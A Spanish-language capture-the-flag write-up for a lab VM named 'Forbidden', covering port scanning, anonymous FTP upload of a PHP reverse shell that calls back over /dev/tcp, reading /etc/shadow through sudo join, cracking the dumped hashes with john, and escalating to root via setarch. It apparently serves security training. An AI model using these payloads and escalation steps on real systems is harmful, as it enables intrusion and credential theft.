Forbidden

Continuamos con otra máquina medium, donde realizaremos varios user pivoting

Reconocimiento de Puertos

Como es habitual, empezaremos averiguando la IP de la máquina víctima y realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

sudo nmapauto

 [*] La IP de la máquina víctima es 192.168.1.32

Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-23 12:55 CEST
Initiating ARP Ping Scan at 12:55
Scanning 192.168.1.32 [1 port]
Completed ARP Ping Scan at 12:55, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:55
Scanning 192.168.1.32 [65535 ports]
Discovered open port 21/tcp on 192.168.1.32
Discovered open port 80/tcp on 192.168.1.32
Completed SYN Stealth Scan at 12:55, 1.22s elapsed (65535 total ports)
Nmap scan report for 192.168.1.32
Host is up, received arp-response (0.000053s latency).
Scanned at 2023-08-23 12:55:53 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:C3:5C:0B (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

 [*] Escaneo avanzado de servicios

Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-23 12:55 CEST
Nmap scan report for 192.168.1.32
Host is up (0.00016s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Jul 30 12:23 www [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.1.150
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:C3:5C:0B (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.89 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos 

En este punto, podemos ver que tenemos acceso vía FTP sin credenciales y el puerto 80. Veamos qué nos muestra el contenido web:

De alguna forma parece que nos está indicando varias pistas. Si miramos el recurso robots.txt, figura “note.txt”, que contiene:

“The extra-secured .jpg file contains my password but nobody can obtain it.”

FTP

Veamos el acceso FTP ahora:

❯ ftp $ip
Connected to 192.168.1.32.
220 (vsFTPd 3.0.3)
Name (192.168.1.32:kaian): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||55650|)
150 Here comes the directory listing.
drwxrwxrwx    2 0        0            4096 Jul 30 12:23 www
226 Directory send OK.
ftp> cd www
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||51494|)
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0             241 Oct 09  2020 index.html
-rwxrwxrwx    1 0        0              75 Oct 09  2020 note.txt
-rwxrwxrwx    1 0        0              10 Oct 09  2020 robots.txt
226 Directory send OK.

Aparentemente tenemos acceso al directorio donde está la web, por lo que podríamos tratar de subir una reverse shell, aunque aparentemente estará protegida para que no interprete php.

Reverse shell

Creo una reverse shell en diferentes formatos como php* con la forma típica: <?php system("bash -c 'bash -i >& /dev/tcp/192.168.1.150/1234 0>&1'"); ?>

Los subo con put mediante ftp y me pongo a la escucha con: nc -nlvp 1234

Haciendo ensayo y error, veo que se ejecuta el fichero rev.php5 dándome una shell. Así que realizamos el tratamiento de la TTY y vamos a por la flag de user:

www-data@forbidden:/home/marta$ cd /home
www-data@forbidden:/home$ ls -lR
.:
total 12
drwxr-xr-x 3 markos markos 4096 Oct  9  2020 markos
drwxr-xr-x 3 marta  marta  4096 Oct  9  2020 marta
drwxr-xr-x 2 peter  peter  4096 Oct  9  2020 peter

./markos:
total 4
-rw------- 1 markos markos 12 Oct  9  2020 user.txt

./marta:
total 4
-rw-r--r-- 1 root root 130 Oct  9  2020 hidden.c

./peter:
total 0
www-data@forbidden:/home$ cat markos/user.txt 
cat: markos/user.txt: Permission denied

Vamos a revisar los permisos SUID:

www-data@forbidden:/$ find / -perm -4000 -ls 2>/dev/null
   266980     20 -rwsr-sr-x   1 root     marta       16712 Oct  9  2020 /home/marta/.forbidden
   135063     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   131140     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   131139     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   149836    156 -rwsr-xr-x   1 root     root       157192 Feb  2  2020 /usr/bin/sudo
   134728     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   134581     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   131142     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   135065     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   131144     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   132371     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   268440     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   146582    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign

Tenemos un primer fichero bastante sospechoso, el cual al ejecutarlo me convirtió en markos y pude leer la flag de user:

www-data@forbidden:/home/markos$ /home/marta/.forbidden
markos@forbidden:/home/markos$ cat user.txt

Escalada de privilegios

A partir de aquí me enfrasqué en un bucle sin salida. Sin embargo, si recordamos la pista de note.txt, nos indicaba que supuestamente la contraseña de marta estaba en un fichero .jpg:

markos@forbidden:~$ find / -name *.jpg 2>/dev/null
/var/www/html/TOPSECRETIMAGE.jpg
markos@forbidden:~/html$ su - marta
Password: 
marta@forbidden:~$

Lo que hemos hecho es utilizar como contraseña el nombre del fichero .jpg y ya somos marta.

Ahora revisaremos como siempre si podemos hacer uso de sudo:

marta@forbidden:/srv/ftp/www$ sudo -l
Matching Defaults entries for marta on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User marta may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/join

Aquí, lo que se me ocurre es utilizar este comando para poder leer el /etc/shadow y juntarlo con el /etc/passwd como si fuera un unshadow:

marta@forbidden:/srv/ftp/www$ sudo join -a 1 /etc/shadow /etc/passwd
root:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7:::
daemon:*:18544:0:99999:7:::
join: /etc/shadow:3: is not sorted: bin:*:18544:0:99999:7:::
bin:*:18544:0:99999:7:::
join: /etc/passwd:2: is not sorted: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:*:18544:0:99999:7:::
sync:*:18544:0:99999:7:::
games:*:18544:0:99999:7:::
man:*:18544:0:99999:7:::
lp:*:18544:0:99999:7:::
mail:*:18544:0:99999:7:::
news:*:18544:0:99999:7:::
uucp:*:18544:0:99999:7:::
proxy:*:18544:0:99999:7:::
www-data:*:18544:0:99999:7:::
backup:*:18544:0:99999:7:::
list:*:18544:0:99999:7:::
irc:*:18544:0:99999:7:::
gnats:*:18544:0:99999:7:::
nobody:*:18544:0:99999:7:::
_apt:*:18544:0:99999:7:::
systemd-timesync:*:18544:0:99999:7:::
systemd-network:*:18544:0:99999:7:::
systemd-resolve:*:18544:0:99999:7:::
messagebus:*:18544:0:99999:7:::
marta:$6$h.4ZF5esZ/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y/UBl0eks1.Wrd51BqLK8Wqt91WXg0Y2mrdNY4luPQkqUWXFXWxLVwe/:18544:0:99999:7:::
systemd-coredump:!!:18544::::::
ftp:*:18544:0:99999:7:::
sshd:*:18544:0:99999:7:::
markos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w/x.Xvhdr7Ny/4JgLDRLRAxAwEwGtH2kD7PjzeloAstqCPq/KKrqrPioMM8vwWbqZ.:18544:0:99999:7:::
peter:$6$QAeWH9Et9PAJdYz/$/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:::

Fuerza bruta a hash

De esta forma, me guardo este contenido en un fichero llamado hash en mi máquina y vamos a tratar de usar fuerza bruta:

❯ john -w=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bxxxxr           (peter)     

Pivotamos a peter

marta@forbidden:~$ su - peter
Password: 
peter@forbidden:~$ 

Volvemos a revisar los permisos sudo con este user:

peter@forbidden:~$ sudo -l
Matching Defaults entries for peter on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/setarch

Bien, ahora podemos utilizar la ayuda de https://gtfobins.github.io/gtfobins/setarch/#sudo

peter@forbidden:~$ sudo setarch $(arch) /bin/sh
-bash: /usr/bin/arch: Permission denied
setarch: /bin/sh: Unrecognized architecture

Nos ha capado el comando arch, no obstante, eso tiene fácil solución:

peter@forbidden:~$ uname -r
4.19.0-9-amd64
peter@forbidden:~$ sudo setarch x86_64 /bin/sh
# cd /root
# ls
root.txt
# cat root.txt

Máquina finalizada, agradecer a sml por la misma.